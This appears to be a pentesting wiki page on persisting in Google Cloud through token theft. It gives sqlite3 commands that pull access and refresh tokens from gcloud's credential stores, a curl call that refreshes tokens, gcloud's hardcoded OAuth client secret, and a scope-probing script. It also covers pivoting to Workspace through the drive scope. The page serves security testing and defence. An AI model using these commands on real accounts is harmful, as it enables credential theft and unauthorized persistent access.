# GCP - Token Persistence

{{#include ../../../banners/hacktricks-training.md}}

### Authenticated User Tokens

To get the **current token** of a user you can run:

<details>

<summary>Get access token from SQLite database</summary>

```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```

</details>

Check in this page how to **directly use this token using gcloud**:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}

To get the details to **generate a new access token** run:

<details>

<summary>Get refresh token from SQLite database</summary>

```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```

</details>

It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.

To get a new refreshed access token with the **refresh token**, client ID, and client secret run:

<details>

<summary>Get new access token using refresh token</summary>

```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```

</details>

The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:

<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>

### Auth flow

The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:

```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```

Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.

> [!CAUTION]
> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.

### OAuth Scopes

You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:

<details>

<summary>Get all Google OAuth scopes</summary>

```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```

</details>

It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:

<details>

<summary>Test supported scopes for gcloud</summary>

```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
    echo -ne "Testing $scope         \r"
    if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
        echo ""
        echo $scope
    fi
done
```

</details>

After executing it it was checked that this app supports these scopes:

```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```

it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.

**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**

### Service Accounts

Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**.

### Metadata

Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).

### Remediations

Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)

### References

- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)

{{#include ../../../banners/hacktricks-training.md}}

